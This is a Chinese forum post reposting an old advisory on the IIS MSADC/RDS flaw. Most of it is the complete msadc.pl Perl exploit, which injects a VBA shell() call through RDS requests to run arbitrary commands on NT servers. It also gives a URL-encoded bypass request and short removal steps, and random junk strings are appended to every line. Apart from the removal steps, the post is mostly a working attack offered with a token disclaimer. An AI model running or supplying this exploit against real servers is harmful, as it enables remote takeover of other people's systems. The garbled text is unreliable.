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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) >W~=]&7{s4  
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涉及程序: &G=0  
Microsoft NT server =BW9/fG  
GWh|FEqUbf  
描述: 9TW8o}k`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 a^/K?lAB8  
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详细: m9b(3  
如果你没有时间读详细内容的话,就删除: o_3*;}k8  
c:\Program Files\Common Files\System\Msadc\msadcs.dll s?+fPOF  
有关的安全问题就没有了。 f@*>P_t  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 cP('@K=p  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 TRCI\  
关于利用ODBC远程漏洞的描述,请参看: .J:;_4x  
#}j]XWy  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1!s!wQgS  
&$Ci}{{n#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -PXoMZx%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 7A[Ogro  
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这里不再论述。 ` Rsl] GB  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: )?9\$^I  
U>1b9G"_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset mR!rn^<l  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :OX$LCi  
>OTl2F}4 !  
-Fa98nV.WB  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -UTV:^  
 "YD.=s  
#!perl 6,3}/hgWJ$  
# x36NL^  
# MSADC/RDS 'usage' (aka exploit) script fYs?D+U;PF  
# Yim#Pq&_  
# by rain.forest.puppy "p`o]$Wv  
# `+Xe'ey  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me c-|kv[\a  
# beta test and find errors! DUQ9AT#3  
*H?t;,\  
use Socket; use Getopt::Std; `TkbF9N+  
getopts("e:vd:h:XR", \%args); h\2}875  
p^Agh  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -2z,cj&E{  
"C& Jwm?  
if (!defined $args{h} && !defined $args{R}) { 9G+y.^/6  
print qq~ z=[l.Af_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Slo9#26  
-h <host> = host you want to scan (ip or domain) )L|C'dJ<k`  
-d <seconds> = delay between calls, default 1 second 4^`PiRGt  
-X = dump Index Server path table, if available +{'lZa  
-v = verbose v/ eB,p  
-e = external dictionary file for step 5 Jtext%"eNg  
RpULm1b  
Or a -R will resume a command session 6G$/NW=L  
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~; exit;} hO%Y{Gg  
we }#Ru*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  Hl!1h%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} G}s;JJax  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Q^vGj</u  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); SC]6F*  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $>EqH?EQ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \A ;^ UxG  
C1n? ?Y[  
if (!defined $args{R}){ $ret = &has_msadc; ZHb7+  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} F@Pem  
R2SBhs,+R  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 4Sqvhz  
. "cmd /c "; ^z38<L=z"  
$in=<STDIN>; chomp $in; zv`zsqDJ  
$command="cmd /c " . $in ; CJ0$;et  
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if (defined $args{R}) {&load; exit;} Q})t<l+L  
3g^IXm:K$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }WA<=9e  
&try_btcustmr; M\9IlV?'  
w<btv]X1  
print "\nStep 2: Trying to make our own DSN..."; MkkA{p  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; F{kG  
rA[nUJ,  
print "\nStep 3: Trying known DSNs..."; ;B*L1'FF%t  
&known_dsn; !B0v<+;P8  
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print "\nStep 4: Trying known .mdbs..."; CgN]dx* `  
&known_mdb; 3e#x)H/dr  
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if (defined $args{e}){ mf+K{y,L  
print "\nStep 5: Trying dictionary of DSN names..."; `CPZPp,l6`  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } s z;=mMr/Z  
md.*  
print "Sorry Charley...maybe next time?\n"; hT\p)w  
exit; zwKg  
 ~WzMK  
############################################################################## ~}epq6L>  
3O#~dFnp  
sub sendraw { # ripped and modded from whisker \a\^(`3a[  
sleep($delay); # it's a DoS on the server! At least on mine... aeLBaS  
my ($pstr)=@_; 1hF2eNh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2Y9y5[K,F)  
die("Socket problems\n"); |}l@w +N3  
if(connect(S,pack "SnA4x8",2,80,$target)){ n+v!H O"2u  
select(S); $|=1; X*_ SHt  
print $pstr; my @in=<S>; :8GlyN<E  
select(STDOUT); close(S); E=$7ieW  
return @in; 8[vl3C  
} else { die("Can't connect...\n"); }} 8''9@xz  
<{3q{VW*  
############################################################################## 7Ntjx(b$"h  
 s$K@X `  
sub make_header { # make the HTTP request z?8zFP  
my $msadc=<<EOT J,CJPUf&  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 /+Wb6{lY  
User-Agent: ACTIVEDATA Dh*~U :6$g  
Host: $ip n P0Ziu'{  
Content-Length: $clen C~3@M<X  
Connection: Keep-Alive a.5zdoH_  
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ADCClientVersion:01.06 >^M!@=/?J  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 mABwM$_  
?FkQe~FN{  
--!ADM!ROX!YOUR!WORLD! N:m@D][/sW  
Content-Type: application/x-varg <|mE9u  
Content-Length: $reqlen ,e}mR>i=e  
*?EjYI  
EOT fx8y`8}_  
; $msadc=~s/\n/\r\n/g; gEcnn .(S  
return $msadc;} CD XB&%Sr  
-`<6=[QUO  
############################################################################## 8Cf^$  
@h,h=X  
sub make_req { # make the RDS request ^(E"3 c  
my ($switch, $p1, $p2)=@_; 'XC&BWJ  
my $req=""; my $t1, $t2, $query, $dsn; nPQZI6>  
F] dmc,Q  
if ($switch==1){ # this is the btcustmr.mdb query UXcH";*9b  
$query="Select * from Customers where City=" . make_shell(); >[A6 5q'  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Om&{4a\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} dVY(V&p  
Q' OuZKhA  
elsif ($switch==2){ # this is general make table query EZgxSQaPH  
$query="create table AZZ (B int, C varchar(10))"; Pf^Ly 97  
$dsn="$p1";} O=4c eE mz  
TWl(\<&+)  
elsif ($switch==3){ # this is general exploit table query ~ wJ3AqNC?  
$query="select * from AZZ where C=" . make_shell(); wj5qQ]WC  
$dsn="$p1";} 2 zmQp  
mR!&.R?  
elsif ($switch==4){ # attempt to hork file info from index server b |o`Q7Hj  
$query="select path from scope()"; yg-L^`t+B5  
$dsn="Provider=MSIDXS;";} %zIl_/s  
WrIL]kJw^  
elsif ($switch==5){ # bad query 6Zl.Lh  
$query="select"; 8AC. 2 v?_  
$dsn="$p1";} =:ya;k&  
,?7xb]h  
$t1= make_unicode($query); ai<MsQQ:=  
$t2= make_unicode($dsn); FVvv   
$req = "\x02\x00\x03\x00"; 'p|Iwtjn>  
$req.= "\x08\x00" . pack ("S1", length($t1)); URmAI8fq*M  
$req.= "\x00\x00" . $t1 ; mE3SiR "  
$req.= "\x08\x00" . pack ("S1", length($t2)); O>tC]sm%  
$req.= "\x00\x00" . $t2 ; {GG~E54&B  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0C"PC:h5  
return $req;} vUodp#s  
O9Jx%tolF%  
############################################################################## ~%8Q75tn.  
_k"&EW{ Ii  
sub make_shell { # this makes the shell() statement qCxD{-9x{  
return "'|shell(\"$command\")|'";} a V+o\fId  
2f}K #i8   
############################################################################## )Yy#`t  
5;sQ@  
sub make_unicode { # quick little function to convert to unicode Jm*M7g j  
my ($in)=@_; my $out; %O4}i@Fe  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } rhzv^t  
return $out;} _taHf %\4  
O[5_ 9W 4  
############################################################################## d-#u/{jG)  
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sub rdo_success { # checks for RDO return success (this is kludge) &?5{z\;1"  
my (@in) = @_; my $base=content_start(@in); 6S&=OK^  
if($in[$base]=~/multipart\/mixed/){ g~$GE},,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @FnI?Rx  
return 0;} Ok~W@sYST  
>TQBRA;'  
############################################################################## GP7) m  
w50Bq&/jX  
sub make_dsn { # this makes a DSN for us fW4cHB 9|  
my @drives=("c","d","e","f"); [iO$ c]!H  
print "\nMaking DSN: "; *]E7}bqb  
foreach $drive (@drives) { 95gsv\2  
print "$drive: "; wn A%Nh7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3Q!J9t5dc  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" w$U/;C  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); t}c}@i_c  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +ia(%[  
return 0 if $2 eq "404"; # not found/doesn't exist /v;)H#;  
if($2 eq "200") { #ejw@bd  
foreach $line (@results) { Jv4D^>yj[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} kUaGok?  
} return 0;} mC[U)` ey  
9Qs"X7iH  
############################################################################## tci%=3,)  
HC;I0&v>  
sub verify_exists { kT } '"  
my ($page)=@_; mB|mt+  
my @results=sendraw("GET $page HTTP/1.0\n\n"); M_e$l`"G  
return $results[0];} *|gs-<[#X  
u6S0t?Udap  
############################################################################## 4htSwK+  
==jw3_W  
sub try_btcustmr { R{OE{8;  
my @drives=("c","d","e","f"); :hhE=A>X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); jcv1z v.  
BtNW5'^  
foreach $dir (@dirs) { QSs$   
print "$dir -> "; # fun status so you can see progress TXh@  
foreach $drive (@drives) { KZ<RDXVT  
print "$drive: "; # ditto )T};Q:  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; cLyuCaH>c  
$reqlenlen=length( "$reqlen" ); Jr>S/]"  
$clen= 206 + $reqlenlen + $reqlen; Vw;ldEdx  
V.gY1   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @;n$caw  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} VgZaDd;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ID)gq_k[8,  
Uh|__DUkh  
############################################################################## r)#"$Sm  
w[$nO#  
sub odbc_error { b\0Q:  
my (@in)=@_; my $base; Vg,>7?]6h  
my $base = content_start(@in); q V UUuyF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this wq_oh*"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; | 8L`osg  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %d[xr h  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rX>y>{w~  
return $in[$base+4].$in[$base+5].$in[$base+6];} K%TKQ<R|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; < 8 Y<w|Hh  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . n-b<vEZw#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} P7k$^n  
!{ESeBSCG  
############################################################################## gy,TT<1)  
Ualq>J5-m-  
sub verbose { "O*W]e  
my ($in)=@_; ATmqq)\s  
return if !$verbose; mv%:[+!  
print STDOUT "\n$in\n";} ,pa&he  
} @fu~V/  
############################################################################## M+R)P +  
j.'"CU  
sub save { f~"V  
my ($p1, $p2, $p3, $p4)=@_; FvNSu"O~K1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; GWqY$YT  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; =E~5&W7  
close OUT;} jme5'FR  
3 cW"VrFy9  
############################################################################## ,S0~:c:)  
Mm7n?kb6  
sub load { %1?V6&  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; vBYT)S  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); CygV_q  
@p=<IN>; close(IN); &P{p\v2Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); BSu)O~s  
$target= inet_aton($ip) || die("inet_aton problems"); 7f Tg97eF  
print "Resuming to $ip ..."; Is6']bYh  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^'I5]cRa  
if($p[1]==1) { M7<#=pX&  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^RyTK|SQ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; o`8+#+@f7  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); /e?ux~f|  
if (rdo_success(@results)){print "Success!\n";} 0G\myv  
else { print "failed\n"; verbose(odbc_error(@results));}} KJ^GUqVl  
elsif ($p[1]==3){ 'kg]|"M  
if(run_query("$p[3]")){ S}[:;p?F`  
print "Success!\n";} else { print "failed\n"; }} qddT9U|8~  
elsif ($p[1]==4){ %V1T !<  
if(run_query($drvst . "$p[3]")){ (:Hbtr I  
print "Success!\n"; } else { print "failed\n"; }} &aAo:pj  
exit;} -%V-'X5  
I.0P7eA-  
############################################################################## ;$L!`"jn  
>\.[}th}  
sub create_table { jKV?!~/F  
my ($in)=@_; k mr 4cU5  
$reqlen=length( make_req(2,$in,"") ) - 28; PM<LR?PLc  
$reqlenlen=length( "$reqlen" ); ~5!TV,>ls  
$clen= 206 + $reqlenlen + $reqlen; E,"btBg  
my @results=sendraw(make_header() . make_req(2,$in,"")); hGo|2@sc  
return 1 if rdo_success(@results); |21hY  
my $temp= odbc_error(@results); verbose($temp); O#5( U. E  
return 1 if $temp=~/Table 'AZZ' already exists/; 1LIV/l^}f  
return 0;} 3R:i*8C  
{5IG3'  
############################################################################## N5Mz=UgB  
N b[o6AX  
sub known_dsn { Ahbu >LPk  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go L.:QI<n  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 5_C#_=E  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Hpg;?xAT  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); U@5Z9/n{  
|< FCt-U  
foreach $dSn (@dsns) { ^QQ NJ  
print "."; FY S83uq0  
next if (!is_access("DSN=$dSn")); DF|lUO]:  
if(create_table("DSN=$dSn")){ M>gZVB,eP>  
print "$dSn successful\n"; Jv.R?1;8i  
if(run_query("DSN=$dSn")){ Hf{%N'4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { O:p649A  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (#iM0{  
>D4Ez  
############################################################################## Rs[]i;  
*9(1:N;#  
sub is_access { PM>XT  
my ($in)=@_; !D&MJThNy  
$reqlen=length( make_req(5,$in,"") ) - 28; ",V5*1w  
$reqlenlen=length( "$reqlen" ); &E`Z_} ~  
$clen= 206 + $reqlenlen + $reqlen; "$pg mf2  
my @results=sendraw(make_header() . make_req(5,$in,"")); }V;]c~Q/H  
my $temp= odbc_error(@results); ^tcBxDC"]  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X )s7_  
return 0;} Hbc&.W;g7[  
7O^ S.(  
############################################################################## Bic { H  
8vW`E_n  
sub run_query { &it/@8yH  
my ($in)=@_; ,6Q-k4_  
$reqlen=length( make_req(3,$in,"") ) - 28; l*H"]6cXRL  
$reqlenlen=length( "$reqlen" ); g9Gy3zk=  
$clen= 206 + $reqlenlen + $reqlen; FN EmGz/4  
my @results=sendraw(make_header() . make_req(3,$in,"")); %{abRBny  
return 1 if rdo_success(@results); wR$8drn]Rq  
my $temp= odbc_error(@results); verbose($temp); Ka\b_P&  
return 0;} v nC&1  
-Ep6 .v  
############################################################################## aW$nNUVD  
}3y\cv0ct  
sub known_mdb { 8mLU ~P |  
my @drives=("c","d","e","f","g"); wT yM9wz&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); q#3X*!)  
my $dir, $drive, $mdb; ta., 4R&K  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; M)^9e?  
yLOLv6g~e  
# this is sparse, because I don't know of many + aqo8'a  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Kp8T;&<Iay  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", s2=X>,kz?  
"\\system32\\certmdb.mdb", &ru0i@?)  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Rj`Y X0?+  
S`w)b'B!M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", _u2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", S]/ +n>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", C~V$G}mM  
"\\cfusion\\cfapps\\security\\realm_.mdb", m kf{_!TK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", PzDgl6C  
"\\cfusion\\database\\cfexamples.mdb", Pv.@Y 30  
"\\cfusion\\database\\cfsnippets.mdb", ved Qwzh  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", S6tH!Z=(g  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {o%R~{6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", V/}8+Xq  
"\\cfusion\\database\\smpolicy.mdb", 3y,?>-  
"\\cfusion\\database\cypress.mdb", 7'uc;5:  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", !I_4GE,  
"\\website\\cgi-win\\dbsample.mdb", :q1r2&ne  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $u"$mg7x  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 4HE4e  
); #these are just  +'.Q-  
foreach $drive (@drives) { hj,x~^cS  
foreach $dir (@dirs){  |?A-?-  
foreach $mdb (@sysmdbs) { F| Q#KwN  
print "."; ^T,cXpx|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ BG=_i#V  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; c$fM6M }  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ P,_E 4y  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1hij4m$b  
} else { print "Something's borked. Use verbose next time\n"; }}}}} a"aV&t  
`,d7_#9'  
foreach $drive (@drives) { ayp}TYh*  
foreach $mdb (@mdbs) { cyNLeg+O*  
print "."; musxX58%  
if(create_table($drv . $drive . $dir . $mdb)){ Zh^w)}(W  
print "\n" . $drive . $dir . $mdb . " successful\n";  64fG,b  
if(run_query($drv . $drive . $dir . $mdb)){ Kjw\SQ)2~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; #KW:OFT  
} else { print "Something's borked. Use verbose next time\n"; }}}}  ?~IZ{!  
} GK&Dd"v  
E76:}(  
############################################################################## BUyA]  
--kK<9J7  
sub hork_idx { sKO ;p  
print "\nAttempting to dump Index Server tables...\n"; )zo ;r!eP  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; '%N)(S`O7P  
$reqlen=length( make_req(4,"","") ) - 28; KL4/"$l]  
$reqlenlen=length( "$reqlen" ); Q@n kT1o  
$clen= 206 + $reqlenlen + $reqlen; "g-NUl`'  
my @results=sendraw2(make_header() . make_req(4,"","")); !&[4T#c  
if (rdo_success(@results)){ X2v'9 x  
my $max=@results; my $c; my %d; z?,5v`,t2  
for($c=19; $c<$max; $c++){ lV'83  
$results[$c]=~s/\x00//g; =w-H )  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; EA.U>5Fq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; to7)gOX(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; |=s3a5sl  
$d{"$1$2"}="";} KK</5Aw9p  
foreach $c (keys %d){ print "$c\n"; } MzD0F#Y  
} else {print "Index server doesn't seem to be installed.\n"; }} $ 1U%E  
@4$E.q<0  
############################################################################## +$5^+C\6A  
^ZG1  
sub dsn_dict { NY x4& *le  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); t/|^Nt@XT  
while(<IN>){ Di*>PE@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6-"&jbvm  
next if (!is_access("DSN=$dSn")); Je,8{J|e  
if(create_table("DSN=$dSn")){ ;rgsPVbVf  
print "$dSn successful\n"; *en{pR'  
if(run_query("DSN=$dSn")){ 9lv 2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x}d\%* B  
print "Something's borked. Use verbose next time\n";}}} rej[G!  
print "\n"; close(IN);} t ,$)PV  
*Y Ox`z!R  
############################################################################## WM26-nR  
A_%w (7o"  
sub sendraw2 { # ripped and modded from whisker k1J}9HNYR  
sleep($delay); # it's a DoS on the server! At least on mine... / yCV-L2J  
my ($pstr)=@_; 1zRO== b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M &J*I  
die("Socket problems\n"); ]mSVjF3l  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?L^ Gu ]y  
print "Connected. Getting data"; {Hu0  
open(OUT,">raw.out"); my @in; =%LS9e^7D  
select(S); $|=1; print $pstr; Gj=il-Po  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ry C7  
close(OUT); select(STDOUT); close(S); return @in; >nX'RE|F  
} else { die("Can't connect...\n"); }} EcU9Tm`h  
wal }[F#  
############################################################################## Sgj6tH2M  
}_ E  
sub content_start { # this will take in the server headers ]7;;uhn`  
my (@in)=@_; my $c; ']Z8C)tK  
for ($c=1;$c<500;$c++) { xpz Jt2S  
if($in[$c] =~/^\x0d\x0a/){ P}gh-5x  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #LiC@>  
else { return $c+1; }}} \Z8!iruN  
return -1;} # it should never get here actually \B)<<[ $  
6]VTn-  
############################################################################## v|6fqG+Q\  
y@I"Hk<T  
sub funky { VMp6s%m  
my (@in)=@_; my $error=odbc_error(@in); lgl/| ^ Uw  
if($error=~/ADO could not find the specified provider/){ ;XT$rtuX  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _ 0-YsD  
exit;} tBrVg<]t  
if($error=~/A Handler is required/){ F~EriO  
print "\nServer has custom handler filters (they most likely are patched)\n"; k.%F!sK  
exit;} m`Z4#_s2  
if($error=~/specified Handler has denied Access/){ 8Xr"4;}f+  
print "\nServer has custom handler filters (they most likely are patched)\n"; C}CX n X  
exit;}} R##O9BSI8Z  
y03l_E,  
############################################################################## HM/ q B^  
;\h'A(  
sub has_msadc { 8g\.1<~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _>s.V`N'  
my $base=content_start(@results); eX\t]{\oC  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); YpJzRm{Ra  
return 0;} ]l`DR4 =  
2bqwnRT}  
######################## VrpY BU  
BtspnVB ez  
q6q= ,<T%S  
解决方案: 7 UR)4dYA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @:}z\qBM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z EW`?6  
Y#\e~>K  
拿出来充数 哈哈
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